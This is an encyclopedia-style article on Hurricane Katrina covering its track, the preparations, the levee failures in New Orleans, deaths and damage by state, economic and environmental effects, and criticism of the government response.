          At least 1,836 people lost their lives in Hurricane Katrina and in the subsequent floods, making it the deadliest U.S. hurricane since the 1928 Okeechobee Hurricane. The storm is estimated to have been responsible for $81.2 billion (2005 U.S. dollars) in damage, making it the costliest natural disaster in U.S. history. The catastrophic failure of the flood protection in New Orleans prompted immediate review of the Army Corps of Engineers, which has, by congressional mandate, sole responsibility for design and construction of the flood protection and levee systems. There was also widespread criticism of the federal, state and local governments' reaction to the storm, which resulted in an investigation by the U.S. Congress, and the resignation of Federal Emergency Management Agency director Michael D. Brown. Conversely, the National Hurricane Centre and National Weather Service were widely commended for accurate forecasts and abundant lead time.


          


          Meteorological history
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          Hurricane Katrina formed as Tropical Depression Twelve over the southeastern Bahamas on August 23, 2005 as the result of an interaction of a tropical wave and the remains of Tropical Depression Ten. The system was upgraded to tropical storm status on the morning of August 24 and at this point, the storm was given the name Katrina. The tropical storm continued to move towards Florida, and became a hurricane only two hours before it made landfall between Hallandale Beach and Aventura, Florida on the morning of August 25. The storm weakened over land, but it regained hurricane status about one hour after entering the Gulf of Mexico.


          The storm rapidly intensified after entering the Gulf, growing from a Category 3 hurricane to a Category 5 hurricane in just nine hours. This rapid growth was due to the storm's movement over the "unusually warm" waters of the Loop Current, which increased wind speeds. On August 27, the storm reached Category3 intensity on the Saffir-Simpson Hurricane Scale, becoming the third major hurricane of the season. An eyewall replacement cycle disrupted the intensification, but caused the storm to nearly double in size. Katrina again rapidly intensified, attaining Category 5 status on the morning of August 28 and reached its peak strength at 1:00p.m. CDT that day, with maximum sustained winds of 175mph (280km/h) and a minimum central pressure of 902 mbar. The pressure measurement made Katrina the fourth most intense Atlantic hurricane on record at the time, only to be surpassed by Hurricanes Rita and Wilma later in the season; it was also the strongest hurricane ever recorded in the Gulf of Mexico at the time (a record also later broken by Rita).


          Katrina made its second landfall at 6:10a.m. CDT on August 29 as a Category3 hurricane with sustained winds of 125mph (205km/h) near Buras-Triumph, Louisiana. At landfall, hurricane-force winds extended outward 120miles (190km) from the centre and the storm's central pressure was 920mbar. After moving over southeastern Louisiana and Breton Sound, it made its third landfall near the Louisiana/Mississippi border with 120mph (195km/h) sustained winds, still at Category3 intensity.


          Katrina maintained strength well into Mississippi, finally losing hurricane strength more than 150miles (240km) inland near Meridian, Mississippi. It was downgraded to a tropical depression near Clarksville, Tennessee, but its remnants were last distinguishable in the eastern Great Lakes region on August 31, when it was absorbed by a frontal boundary. The resulting extratropical storm moved rapidly to the northeast and affected eastern Canada.


          


          Preparations


          


          Federal government
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          On the morning of August 26, at 10 a.m. CDT (1500 UTC), Katrina had strengthened to a Category 3 storm in the Gulf of Mexico. Later that afternoon, the NHC realized that Katrina had yet to make the turn toward the Florida Panhandle and ended up revising the predicted track of the storm from the panhandle to the Mississippi coast. The NHC issued a hurricane watch for southeastern Louisiana, including the New Orleans area at 10 a.m. CDT August 27. That afternoon the NHC extended the watch to cover the Mississippi and Alabama coastlines as well as the Louisiana coast to Intracoastal City.


          The United States Coast Guard began pre-positioning resources beyond the expected impact zone starting on August 26, and activated more than 400 reservists. Aircrews from the Aviation Training Centre, in Mobile, staged rescue aircraft from Texas to Florida. All aircraft were returning back towards the Gulf of Mexico by the afternoon of August 29. Air crews, many of whom lost their homes during the hurricane, began a round-the-clock rescue effort in New Orleans, and along the Mississippi and Alabama coastlines.


          President George W. Bush declared a state of emergency in Louisiana, Alabama, and Mississippi two days before the hurricane made landfall. (These declarations later proved to be a point of controversy; see below.) That same evening, the NHC upgraded the section of the hurricane watch from Morgan City, Louisiana to the Alabama-Florida border to a hurricane warning, 12 hours after it was issued, and also issued a tropical storm warning for the westernmost Florida Panhandle.


          During video conferences involving the president on August 28 and 29, the director of the National Hurricane Centre at the time, Max Mayfield, expressed concern that Katrina might push its storm surge over the city's levees and flood walls. In one conference, he stated, "I do not think anyone can tell you with confidence right now whether the levees will be topped or not, but that's obviously a very, very great concern."


          On August 28, as the sheer size of Katrina became clear, the NHC extended the tropical storm warning zone to cover most of the Louisiana coastline and a larger portion of the Florida Panhandle. The National Weather Service's New Orleans/Baton Rouge office issued a vividly-worded bulletin predicting that the area would be "uninhabitable for weeks" after "devastating damage" caused by Katrina, which at that time rivaled the intensity of Hurricane Camille.


          Voluntary and mandatory evacuations were issued for large areas of southeast Louisiana as well as coastal Mississippi and Alabama. About 1.2 million residents of the Gulf Coast were covered under a voluntary or mandatory evacuation order.


          


          Emergency declarations


          In a September 26, 2005 hearing, Michael Brown was questioned by Republican members of Congress about FEMA's response. During that hearing, Representative Stephen Buyer (R-IN) inquired as to why Bush's declaration did not include Orleans, Jefferson, or Plaquemines parishes. (In fact, the declaration did not include any of Louisiana's coastal parishes, whereas the coastal counties were included in the declarations for Mississippi and Alabama.) Brown testified that this was because Governor Blanco had not included those parishes in her initial request for aid, a decision that he found "shocking." After the hearing, though, Blanco released a copy of her letter, which requested assistance for "all the southeastern parishes including the New Orleans Metropolitan area and the mid state Interstate I-49 corridor and northern parishes along the I-20 corridor that are accepting [evacuated citizens]."


          


          Gulf Coast
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          On August 26, the state of Mississippi activated its National Guard in preparation for the storm's landfall. Additionally, the state government activated its Emergency Operations Centre the next day, and local governments began issuing evacuation orders. By 7:00 p.m. EDT on August 28, 11 counties and eleven cities issued evacuation orders, a number which increased to 41 counties and 61 cities by the following morning. Moreover, 57 emergency shelters were established on coastal communities, with 31 additional shelters available to open if needed. Louisiana's hurricane evacuation plan calls for local governments in areas along and near the coast to evacuate in three phases, starting with the immediate coast 50 hours before the start of tropical storm force winds. Persons in areas designated Phase II begin evacuating 40 hours before the onset of tropical storm winds and those in Phase III areas (including New Orleans) evacuate 30 hours before the start of such winds.


          Many private care-taking facilities that relied on bus companies and ambulance services for evacuation were unable to evacuate their charges. Fuel and rental cars were in short supply and many forms of public transportation had been shut down well before the storm arrived. Some estimates claimed that 80% of the 1.3 million residents of the greater New Orleans metropolitan area evacuated, leaving behind substantially fewer people than remained in the city during the Hurricane Ivan evacuation.


          By Sunday, August 28, most infrastructure along the Gulf Coast had been shut down, including all Canadian National Railway and Amtrak rail traffic into the evacuation areas as well as the Waterford Nuclear Generating Station. The NHC maintained the coastal warnings until late on August 29, by which time Hurricane Katrina was over central Mississippi.


          


          Greater New Orleans area
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          By August 26, the possibility of unprecedented cataclysm was already being considered. Many of the computer models had shifted the potential path of Katrina 150miles (240km) westward from the Florida Panhandle, putting the city of New Orleans right in the centre of their track probabilities; the chances of a direct hit were forecast at 17%, with strike probability rising to 29% by August 28. This scenario was considered a potential catastrophe because some parts of New Orleans and the metro area are below sea level. Since the storm surge produced by the hurricane's right-front quadrant (containing the strongest winds) was forecast to be 28feet (8.5m), emergency management officials in New Orleans feared that the storm surge could go over the tops of levees protecting the city, causing major flooding.


          At a news conference at 10:00 a.m. on August 28, shortly after Katrina was upgraded to a Category 5 storm, New Orleans mayor Ray Nagin ordered the first ever mandatory evacuation of the city, calling Katrina "a storm that most of us have long feared." The city government also established several "refuges of last resort" for citizens who could not leave the city, including the massive Louisiana Superdome, which sheltered approximately 26,000 people and provided them with food and water for several days as the storm came ashore.


          


          Florida


          Many people living in the area were unaware when Katrina strengthened from a tropical storm to a hurricane in one day and struck southern Florida near the Miami-Dade  Broward county line. The hurricane struck between the cities of Aventura, in Miami-Dade County, and Hallandale, in Broward County, on August 25, 2005. However, National Hurricane Centre (NHC) forecasts had correctly predicted that Katrina would intensify to hurricane strength before landfall, and hurricane watches and warnings were issued 31.5 hours and 19.5 hours before landfall, respectively  only slightly less than the target thresholds of 36 and 24 hours.


          Florida Governor Jeb Bush declared a state of emergency on August 24 in advance of Hurricane Katrina's landfall in Florida. Shelters were opened and schools closed in several counties in the southern part of the state. A number of evacuation orders were also issued, mostly voluntary, although a mandatory evacuation was ordered for at-risk housing in Martin County.


          


          Impact


          
            
              Deaths by state
            

            
              	Alabama

              	2
            


            
              	Florida

              	14
            


            
              	Georgia

              	2
            


            
              	Kentucky

              	1
            


            
              	Louisiana

              	1,577*
            


            
              	Mississippi

              	238
            


            
              	Ohio

              	2
            


            
              	Total

              	1,836
            


            
              	Missing

              	705
            


            
              	*Includes out-of-state evacuees

              counted by Louisiana
            

          


          On August 29, Katrina's storm surge caused 53 different levee breaches in greater New Orleans submerging eighty percent of the city. A June 2007 expert report stated that two-thirds of the flooding were due to levee breaches . The storm surge also devastated the coasts of Mississippi and Alabama, making Katrina the most destructive and costliest natural disaster in the history of the United States, and the deadliest hurricane since the 1928 Okeechobee Hurricane. The total damage from Katrina is estimated at $81.2 billion (2005 U.S. dollars), nearly double the cost of the previously most expensive storm, Hurricane Andrew, when adjusted for inflation.


          As of May 19, 2006, the confirmed death toll (total of direct and indirect deaths) stood at 1,836, mainly from Louisiana (1,577) and Mississippi (238). However, 705 people remain categorized as missing in Louisiana, and many of the deaths are indirect, but it is almost impossible to determine the exact cause of some of the fatalities.


          Federal disaster declarations covered 90,000square miles (233,000km) of the United States, an area almost as large as the United Kingdom. The hurricane left an estimated three million people without electricity. On September 3, 2005, Homeland Security Secretary Michael Chertoff described the aftermath of Hurricane Katrina as "probably the worst catastrophe, or set of catastrophes," in the country's history, referring to the hurricane itself plus the flooding of New Orleans.


          


          South Florida and Cuba
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          Hurricane Katrina first made landfall on August 25, 2005 in South Florida where it hit as a Category 1 hurricane, with 80mph (130km/h) winds. Rainfall was heavy in places and exceeded 14inches (350mm) in Homestead, Florida, and a storm surge of 3  5feet (1.5m) was measured in parts of Monroe County. More than 1 million customers were left without electricity, and damage in Florida was estimated at between 1 and 2 billion dollars, with most of the damage coming from flooding and overturned trees. There were 14 fatalities reported in Florida as a result of Hurricane Katrina.


          Most of the Florida Keys experienced tropical-storm force winds from Katrina as the storm's centre passed to the north, with hurricane force winds reported in the Dry Tortugas. Rainfall was also high in the islands, with 10inches (250mm) falling on Key West. On August 26, a strong F1 tornado formed from an outer rain band of Katrina and struck Marathon. The tornado damaged a hangar at the airport there and caused an estimated 5 million dollars in damage.


          Although Hurricane Katrina stayed well to the north of Cuba, on August 29 it brought tropical-storm force winds and rainfall of over 8inches (200mm) to western regions of the island. Telephone and power lines were damaged and around 8,000 people were evacuated in the Pinar del Ro Province. According to Cuban television reports the coastal city of Surgidero de Batabano was 90% underwater.


          


          Louisiana
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          On August 29 Hurricane Katrina made landfall near Buras, Louisiana with 125mph (205km/h) winds, as a strong Category 3 storm. However, as it had only just weakened from Category 4 strength and the radius of maximum winds was large, it is possible that sustained winds of Category 4 strength briefly impacted extreme southeastern Louisiana. Although the storm surge to the east of the path of the eye in Mississippi was higher, a very significant surge affected the Louisiana coast. The height of the surge is uncertain because of a lack of data, although a tide gauge in Plaquemines Parish indicated a storm tide in excess of 14feet (4.3m) and a 12foot (3m) storm surge was recorded in Grand Isle.


          Hurricane Katrina also brought heavy rain to Louisiana, with 8  10inches (200  250mm) falling on a wide swath of the eastern part of the state. In the area around Slidell, the rainfall was even higher, and the highest rainfall recorded in the state was approximately 15inches (380mm). As a result of the rainfall and storm surge the level of Lake Pontchartrain rose and caused significant flooding along its northeastern shore, affecting communities from Slidell to Mandeville. Several bridges were destroyed, including the I-10 Twin Span Bridge connecting Slidell to New Orleans. Almost 900,000 people in Louisiana lost power as a result of Hurricane Katrina.


          Hard-hit St. Bernard Parish was flooded due to breaching of the levees that contained a navigation channel called the Mississippi River Gulf Outlet (MR-GO). The search for the missing was slow. According to an interview in the New Orleans Times-Picayune, the coroner was still trying to get a list of missing from the Red Cross in November 2005. While there were some victims on this list whose bodies were found in their homes, the vast majority were tracked down through word-of-mouth and credit card records. As of December 2005, the official missing list in the Parish stood at 47.


          


          New Orleans
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          As the eye of Hurricane Katrina swept to the northeast, it subjected the city to hurricane conditions for hours. Although power failures prevented accurate measurement of wind speeds in New Orleans, there were a few measurements of hurricane-force winds. From this the NHC concluded that it is likely that much of the city experienced sustained winds of Category 1 or Category 2 strength.


          Katrina's storm surge led to 53 levee breaches in the federally built levee system protecting metro New Orleans. Failures occurred in New Orleans, Louisiana and surrounding communities especially St. Bernard Parish. The Mississippi River Gulf Outlet (MR-GO) breached its levees in approximately 20 places, flooding much of east New Orleans, most of Saint Bernard Parish and the East Bank of Plaquemines Parish. The major levee breaches in the city included breaches at the 17th Street Canal levee, the London Avenue Canal, and the wide, navigable Industrial Canal, which left approximately 80% of the city flooded.


          Most of the major roads traveling into and out of the city were damaged. The only routes out of the city were the westbound Crescent City Connection and the Huey P. Long Bridge, as large portions of the I-10 Twin Span Bridge traveling eastbound towards Slidell, Louisiana had collapsed. Both the Lake Pontchartrain Causeway and the Crescent City Connection only carried emergency traffic.


          On August 29, at 7:40 a.m. CDT, it was reported that most of the windows on the north side of the Hyatt Regency New Orleans had been blown out, and many other high rise buildings had extensive window damage. The Hyatt was the most severely damaged hotel in the city, with beds reported to be flying out of the windows. Insulation tubes were exposed as the hotel's glass exterior was completely sheared off.
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          The Superdome, which was sheltering many people who had not evacuated, sustained significant damage. Two sections of the Superdome's roof were compromised and the dome's waterproof membrane had essentially been peeled off. Louis Armstrong New Orleans International Airport was closed before the storm but did not flood. On August 30, it was reopened to humanitarian and rescue operations. Limited commercial passenger service resumed at the airport on September 13 and regular carrier operations resumed in early October.


          Levee breaches in New Orleans also caused widespread loss of life, with over 700 bodies recovered in New Orleans by October 23, 2005. Some survivors and evacuees reported seeing dead bodies lying in city streets and floating in still-flooded sections, especially in the east of the city. The advanced state of decomposition of many corpses, some of which were left in the water or sun for days before being collected, hindered efforts by coroners to identify many of the dead.


          The first deaths reported from the city were reported shortly before midnight on August 28, as three nursing home patients died during an evacuation to Baton Rouge, most likely from dehydration. While there were also early reports of fatalities amid mayhem at the Superdome, only six deaths were confirmed there, with four of these originating from natural causes, one from a drug overdose, and one a suicide. At the Convention Centre, four bodies were recovered. One of the four is believed to be the result of a homicide.


          


          Mississippi
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          The Gulf coast of Mississippi suffered massive damage from the impact of Hurricane Katrina on August 29, leaving 238people dead, 67missing, and billions of dollars in damage: bridges, barges, boats, piers, houses and cars were washed inland. Katrina traveled up the entire state, and afterwards, all 82 counties in Mississippi were declared disaster areas for federal assistance, 47 for full assistance.


          After making a brief initial landfall in Louisiana, Katrina had made its final landfall near the state line, and the eyewall passed over the cities of Bay St. Louis and Waveland as a Category 3 hurricane with sustained winds of 120mph (195km/h). Katrina's powerful right-front quadrant passed over the west and central Mississippi coast causing a powerful 27foot (8.2m) storm surge, which penetrated 6miles (10km) inland in many areas and up to 12miles (20km) inland along bays and rivers; in some areas, the surge crossed Interstate 10 for several miles. Hurricane Katrina brought strong winds to Mississippi which caused significant tree damage throughout the state. The highest unofficial reported wind gust recorded from Katrina was one of 135mph (217km/h) in Poplarville, in Pearl River County.
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          The storm also brought heavy rains with 8  10inches (200  250mm) falling in southwestern Mississippi and rain in excess of 4inches (100mm) falling throughout the majority of the state. Katrina caused eleven tornadoes in Mississippi on August 29, some of which damaged trees and power lines.


          Battered by wind, rain and storm surge, some beachfront neighborhoods were completely leveled. Preliminary estimates by Mississippi officials calculated that 90% of the structures within half a mile of the coastline were completely destroyed, and that storm surges traveled as much as sixmiles (10 km) inland in portions of the state's coast. One apartment complex with approximately thirty residents seeking shelter inside collapsed. More than half of the 13 casinos in the state, which were floated on barges to comply with Mississippi land-based gambling laws, were washed hundreds of yards inland by waves.


          A number of streets and bridges were washed away. On U.S. Highway 90 along the Mississippi Gulf Coast, two major bridges were completely destroyed: the Bay St. Louis - Pass Christian bridge, and the Biloxi - Ocean Springs bridge. In addition, the eastbound span of the I-10 bridge over the Pascagoula River estuary was damaged. In the weeks after the storm, with the connectivity of the coastal U.S. Highway 90 shattered, traffic traveling parallel to the coast was reduced to two lanes on the remaining I-10 span.
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          All three coastal counties of the state were severely affected by the storm. Katrina's surge was the most extensive, as well as the highest, in the documented history of the United States; large portions of both Hancock, Harrison, and Jackson Counties were inundated by the storm surge, in all three cases affecting most of the populated areas. Surge covered almost the entire lower half of Hancock County, destroying the coastal communities of Clermont Harbour and Waveland, much of Bay St. Louis, and flowed up the Jourdan River, flooding Kiln. In Harrison County, Pass Christian was completely inundated, along with a narrow strip of land to the east along the coast, which includes the cities of Long Beach and Gulfport; the flooding was more extensive in communities such as D'Iberville, which borders Back Bay. Biloxi, on a peninsula between the Back Bay and the coast, was particularly hard hit, especially the low-lying Point Cadet area. In Jackson County, storm surge flowed up the wide river estuary, with the combined surge and freshwater flooding cutting the county in half. Remarkably, over 90% of Pascagoula, the easternmost coastal city in Mississippi, and about 75miles (121km) east of Katrina's landfall near the Louisiana-Mississippi border, was flooded from surge at the height of the storm. Other large Jackson County neighborhoods such as Porteaux Bay and Gulf Hills were severely damaged with large portions being completely destroyed, and St. Martin was hard hit; Ocean Springs, Moss Point, Gautier, and Escatawpa also suffered major surge damage.


          Mississippi Emergency Management Agency officials also recorded deaths in Forrest, Hinds, Warren, and Leake counties. Over 900,000people throughout the state experienced power outages.


          


          Southeast United States
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          Although Hurricane Katrina made landfall well to the west, Alabama and the Florida Panhandle were both affected by tropical-storm force winds and a storm surge varying from 12 to 16ft (3-5m) around Mobile Bay, with higher waves on top. Sustained winds of 67mph (107km/h) were recorded in Mobile, Alabama, and the storm surge there was approximately 12feet (3.7m). The surge caused significant flooding several miles inland along Mobile Bay. Four tornadoes were also reported in Alabama. Ships, oil rigs, boats and fishing piers were washed ashore along Mobile Bay: the cargo ship M/V Caribbean Clipper and many fishing boats were grounded at Bayou La Batre.


          An oil rig under construction along the Mobile River broke its moorings and floated 1.5miles (2km) northwards before striking the Cochrane Bridge just outside Mobile. No significant damage resulted to the bridge and it was soon reopened. The damage on Dauphin Island was severe, with the surge destroying many houses and cutting a new canal through the western portion of the island. An offshore oil rig also became grounded on the island. As in Mississippi, the storm surge caused significant beach erosion along the Alabama coastline. More than 600,000 people lost power in Alabama as a result of Hurricane Katrina and two people died in a traffic accident in the state.


          Along the Florida Panhandle the storm surge was typically about fivefeet (1.5m) and along the west-central Florida coast there was a minor surge of 1  2feet (0.3  0.6m). In Pensacola, Florida 56mph (90km/h) winds were recorded on August 29. The winds caused damage to some trees and structures and there was some minor flooding in the Panhandle. There were two indirect fatalities from Katrina in Walton County as a result of a traffic accident. In the Florida Panhandle, 77,000 customers lost power.
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          Northern and central Georgia were affected by heavy rains and strong winds from Hurricane Katrina as the storm moved inland, with more than 3inches (75mm) of rain falling in several areas. At least 18 tornadoes formed in Georgia on August 29, the most on record in that state for one day in August. The most serious of these tornadoes was a F2 tornado which affected Heard County and Carroll County. This tornado caused 3 injuries and one fatality and damaged several houses. In addition this tornado destroyed several poultry barns, killing over 140,000 chicks. The other tornadoes caused significant damages to buildings and agricultural facilities. In addition to the fatality caused by the F2 tornado, there was another fatality in a traffic accident.


          


          Other U.S. States and Canada
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          Hurricane Katrina weakened as it moved inland, but tropical-storm force gusts were recorded as far north as Fort Campbell, Kentucky on August 30, and the winds damaged trees in New York. The remnants of the storm brought high levels of rainfall to a wide swath of the eastern United States, and rain in excess of 2inches (50mm) fell in parts of 20 states. A number of tornadoes associated with Katrina formed on August 30 and August 31, which caused minor damages in several regions. In total, 62tornadoes formed in eightstates as a result of Katrina.


          Eastern Arkansas received light rain from the passage of Katrina. Gusty winds downed some trees and power lines, though damage was minimal. In Kentucky, a storm that had moved through the weekend before had already produced flooding and the rainfall from Katrina added to this. As a result of the flooding, Kentucky Governor Ernie Fletcher declared three counties disaster areas and a statewide state of emergency. One person was killed in Hopkinsville, Kentucky and part of a high school collapsed. Flooding also prompted a number of evacuations in West Virginia and Ohio, the rainfall in Ohio leading to two indirect deaths. Katrina also caused a number of power outages in many areas, with over 100,000 customers affected in Tennessee, primarily in the Memphis and Nashville areas.


          The remnants of Katrina were absorbed by a new cyclone to its east across Pennsylvania. This second cyclone continued north and affected Canada on August 31. In Ontario there were a few isolated reports of rain in excess of 100mm (4inches) and there were a few reports of damage from fallen trees. Flooding also occurred both in Ontario and Quebec, cutting off a number of isolated villages in Quebec, particularly in the Cote-Nord region.


          


          Aftermath


          


          Economic effects


          
            
              Costliest U.S. Atlantic hurricanes

              Cost refers to total estimated property damage.
            

            
              	Rank

              	Hurricane

              	Season

              	Cost (2005 USD)
            


            
              	1

              	Katrina

              	2005

              	$81.2 billion
            


            
              	2

              	Andrew

              	1992

              	$44.9 billion
            


            
              	3

              	Wilma

              	2005

              	$20.6 billion
            


            
              	4

              	Charley

              	2004

              	$15.4 billion
            


            
              	5

              	Ivan

              	2004

              	$14.6 billion
            


            
              	Main article: List of Atlantic hurricanes
            

          


          The economic effects of the storm were far-reaching. As of April 2006, the Bush Administration has sought $105 billion for repairs and reconstruction in the region, and this does not account for damage to the economy caused by potential interruption of the oil supply, destruction of the Gulf Coast's highway infrastructure, and exports of commodities such as grain. Katrina damaged or destroyed 30 oil platforms and caused the closure of nine refineries; the total shut-in oil production from the Gulf of Mexico in the six-month period following Katrina was approximately 24% of the annual production and the shut-in gas production for the same period was about 18%. The forestry industry in Mississippi was also affected, as 1.3million acres (5,300km) of forest lands were destroyed. The total loss to the forestry industry from Katrina is calculated to rise to about $5billion. Furthermore, hundreds of thousands of local residents were left unemployed, which will have a trickle-down effect as fewer taxes are paid to local governments. Before the hurricane, the region supported approximately one million non-farm jobs, with 600,000 of them in New Orleans. It is estimated that the total economic impact in Louisiana and Mississippi may exceed $150 billion.


          Katrina redistributed over one million people from the central Gulf coast elsewhere across the United States, which became the largest diaspora in the history of the United States. Houston, Texas, had an increase of 35,000 people; Mobile, Alabama, gained over 24,000; Baton Rouge, Louisiana, over 15,000; and Hammond, Louisiana received over 10,000, nearly doubling its size. Chicago received over 6,000 people, the most of any non-southern city. By late January, 2006, about 200,000 people were once again living in New Orleans, less than half of the pre-storm population. By July 1, 2006, when new population estimates were calculated by the U.S. Census Bureau, the state of Louisiana showed a population decline of 219,563, or 4.87%. Additionally, some insurance companies have stopped insuring homeowners in the area because of the high costs from Hurricanes Katrina and Rita, or have raised homeowners' insurance premiums to cover their risk.


          


          Environmental effects


          
            [image: The Chandeleur Islands, before Katrina (left) and after (right), showing the impact of the storm along coastal areas.]

            
              The Chandeleur Islands, before Katrina (left) and after (right), showing the impact of the storm along coastal areas.
            

          


          Katrina also had a profound impact on the environment. The storm surge caused substantial beach erosion, in some cases completely devastating coastal areas. In Dauphin Island, approximately 90miles (150 km) to the east of the point where the hurricane made landfall, the sand that comprised the barrier island was transported across the island into the Mississippi Sound, pushing the island towards land. The storm surge and waves from Katrina also obliterated the Chandeleur Islands, which had been affected by Hurricane Ivan the previous year. The US Geological Survey has estimated 217 square miles of land was transformed to water by the hurricanes Katrina and Rita.


          The lands that were lost were breeding grounds for marine mammals, brown pelicans, turtles, and fish, as well as migratory species such as redhead ducks. Overall, about 20% of the local marshes were permanently overrun by water as a result of the storm.


          The damage from Katrina forced the closure of 16 National Wildlife Refuges. Breton National Wildlife Refuge lost half its area in the storm. As a result, the hurricane affected the habitats of sea turtles, Mississippi sandhill cranes, Red-cockaded woodpeckers and Alabama Beach mice.


          Finally, as part of the cleanup effort, the flood waters that covered New Orleans were pumped into Lake Pontchartrain, a process that took 43days to complete. These residual waters contained a mix of raw sewage, bacteria, heavy metals, pesticides, toxic chemicals, and about 6.5million U.S. gallons (24.6 million L) of oil, which has sparked fears in the scientific community of massive numbers of fish dying.


          


          Looting and violence
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          Shortly after the hurricane moved away on August 30, 2005, some residents of New Orleans who remained in the city began looting stores. Many were in search of food and water that were not available to them through any other means, as well as non-essential items.


          Reports of carjacking, murders, thefts, and rapes in New Orleans flooded the news. Several news media later determined that the majority of reports were based on unfounded rumors. Thousands of National Guard and federal troops were mobilized and sent to Louisiana along with numbers of local law enforcement agents from across the country who were temporarily deputized by the state. "They have M16s and are locked and loaded. These troops know how to shoot and kill and I expect they will," Louisiana Governor Kathleen Blanco said. Congressman Bill Jefferson (D-LA) told ABC News: "There was shooting going on. There was sniping going on. Over the first week of September, law and order was gradually restored to the city." Several shootings were between police and New Orleans residents, including a fatal incident at Danziger Bridge.


          A number of arrests were made throughout the affected area, including near the New Orleans Convention Centre. A temporary jail was constructed of chain link cages in the city train station.


          In Texas, where more than 300,000 evacuees are located, local officials have run 20,000 criminal background checks on the evacuees, as well as on the relief workers helping them and people who have opened up their homes. Most of the checks have found very little for police to be concerned about. The number of homicides in Houston from September 2005 through February 22, 2006 went up by 23% relative to the same period a year before; 29 of the 170 murders involved displaced Louisianans as a victim or as a suspect.


          


          Government response
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          Within the United States and as delineated in the National Response Plan, disaster response and planning is first and foremost a local government responsibility. When local government exhausts its resources, it then requests specific additional resources from the county level. The request process proceeds similarly from the county to the state to the federal government as additional resource needs are identified. Many of the problems that arose developed from inadequate planning and back-up communications systems at various levels.


          Some disaster recovery response to Katrina began before the storm, with Federal Emergency Management Agency (FEMA) preparations that ranged from logistical supply deployments to a mortuary team with refrigerated trucks. A network of volunteers began rendering assistance to local residents and residents emerging from New Orleans and surrounding parishes as soon as the storm made landfall, and continued for more than six months after the storm.


          Of the 60,000 people stranded in New Orleans, the Coast Guard rescued more than 33,500. Congress recognized the Coast Guard's response with an official entry in the Congressional Record, and the Armed Service was awarded the Presidential Unit Citation.


          The United States Northern Command established Joint Task Force (JTF) Katrina based out of Camp Shelby, Mississippi, to act as the military's on-scene command on Sunday, August 28. Approximately 58,000 National Guard personnel were activated to deal with the storm's aftermath, with troops coming from all 50 states. The Department of Defense also activated volunteer members of the Civil Air Patrol.


          Michael Chertoff, Secretary of the Department of Homeland Security, decided to take over the federal, state, and local operations officially on August 30, 2005, citing the National Response Plan. Early in September, Congress authorized a total of $62.3 billion in aid for victims. Additionally, President Bush enlisted the help of former presidents Bill Clinton and George H.W. Bush to raise additional voluntary contributions, much as they did after the 2004 Indian Ocean earthquake and tsunami. American flags were also ordered to be half-staff from September 2, 2005 to September 20, 2005 in honour of the victims.


          FEMA provided housing assistance (rental assistance, trailers, etc.) to more than 700,000 applicantsfamilies and individuals. However, only one-fifth of the trailers requested in Orleans Parish have been supplied, resulting in an enormous housing shortage in the city of New Orleans. To provide for additional housing, FEMA has also paid for the hotel costs of 12,000 individuals and families displaced by Katrina through February 7, 2006, when a final deadline was set for the end of hotel cost coverage. After this deadline, evacuees were still eligible to receive federal assistance, which could be used towards either apartment rent, additional hotel stays, or fixing their ruined homes, although FEMA no longer paid for hotels directly. As of early July 2006, there are still about 100,000 people living in 37,745 FEMA-provided trailers.


          Law enforcement and public safety agencies, from across the United States, provided a " mutual aid" response to Louisiana and New Orleans in the weeks following the disaster. Many agencies responded with manpower and equipment from as far away as California, Michigan, Nevada, New York, and Texas. This response was welcomed by local Louisiana authorities as their staff were either becoming fatigued, stretched too thin, or even quitting from the job.


          Two weeks after the storm, more than half of the states were involved in providing shelter for evacuees. By four weeks after the storm, evacuees had been registered in all 50states and in 18,700zip codeshalf of the nation's residential postal zones. Most evacuees had stayed within 250miles (400km), but 240,000households went to Houston and other cities over 250miles (400km) away and another 60,000households went over 750miles (1,200km) away.


          


          Criticism of government response
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          The criticisms of the government's response to Hurricane Katrina primarily consisted of condemnations of mismanagement and lack of leadership in the relief efforts in response to the storm and its aftermath. More specifically, the criticism focused on the delayed response to the flooding of New Orleans, and the subsequent state of chaos in the Crescent City. The neologism Katrinagate was coined to refer to this controversy, and was a runner-up for "2005 word of the year."


          Within days of Katrina's August 29, 2005 landfall, public debate arose about the local, state and federal governments' role in the preparations for and response to the hurricane. Criticism was prompted largely by televised images of visibly shaken and frustrated political leaders and of residents who remained in New Orleans without water, food or shelter. The deaths of citizens by thirst, exhaustion, and violence days after the storm itself had passed also fueled the criticism, as did the treatment of people who had been evacuated to facilities such as the Louisiana Superdome. Others alleged that race, class, and other factors could have contributed to delays in government response. The percentage of black victims among storm-related deaths (49%) was below their proportion in the area's population (approx. 60% ).


          The government was accused of making things worse, instead of making things better, by preventing help by others while delaying its own response. In accordance with federal law, President George W. Bush directed the Secretary of the Department of Homeland Security, Michael Chertoff, to coordinate the Federal response. Chertoff designated Michael D. Brown, head of the Federal Emergency Management Agency, as the Principal Federal Official to lead the deployment and coordination of all federal response resources and forces in the Gulf Coast region. However, the President and Secretary Chertoff initially came under harsh criticism for what some perceived as a lack of planning and coordination. Eight days later, Brown was recalled to Washington and Coast Guard Vice Admiral Thad W. Allen replaced him as chief of hurricane relief operations. Three days after the recall, Michael D. Brown resigned as director of FEMA in spite of having received praise from Bush with the now-well-known phrase, "Brownie, you're doing a heck of a job."


          On September 2, 2005, during a benefit concert for Hurricane Katrina relief on NBC, A Concert for Hurricane Relief, Kanye West was a featured speaker. Controversy arose when West was presenting, as he deviated from the prepared script:


          
            I hate the way they portray us in the media. You see a black family, it says, 'They're looting.' You see a white family, it says, 'They're looking for food.' And, you know, it's been five days [waiting for federal help] because most of the people are black. And even for me to complain about it, I would be a hypocrite because I've tried to turn away from the teacher-the TV because it's too hard to watch. I've even been shopping before even giving a donation, so now I'm calling my business manager right now to see what is the biggest amount I can give, and just to imagine if I was down there, and those are my people down there. So anybody out there that wants to do anything that we can help  with the way America is set up to help the poor, the black people, the less well-off, as slow as possible. I mean, the Red Cross is doing everything they can. We already realize a lot of people that could help are at war right now, fighting another way  and they've given them permission to go down and shoot us!

          


          Mike Myers, with whom West was paired to present, spoke next and continued as normal by reading the script. Once it was West's turn to speak again, West delivered the controversial phrase "George Bush doesn't care about black people." Although the camera quickly cut away to Chris Tucker, West's comments still reached the East Coast broadcasts, and was replayed or discussed afterwards.


          Kanye West and Mike Myers met again on a brief sketch on Saturday Night Live, in which Myers joked that since the telethon, the government has stripped him of his American citizenship ("still got my Canadian citizenship to fall back on," Myers joked), and placed him under heavy government surveillance.


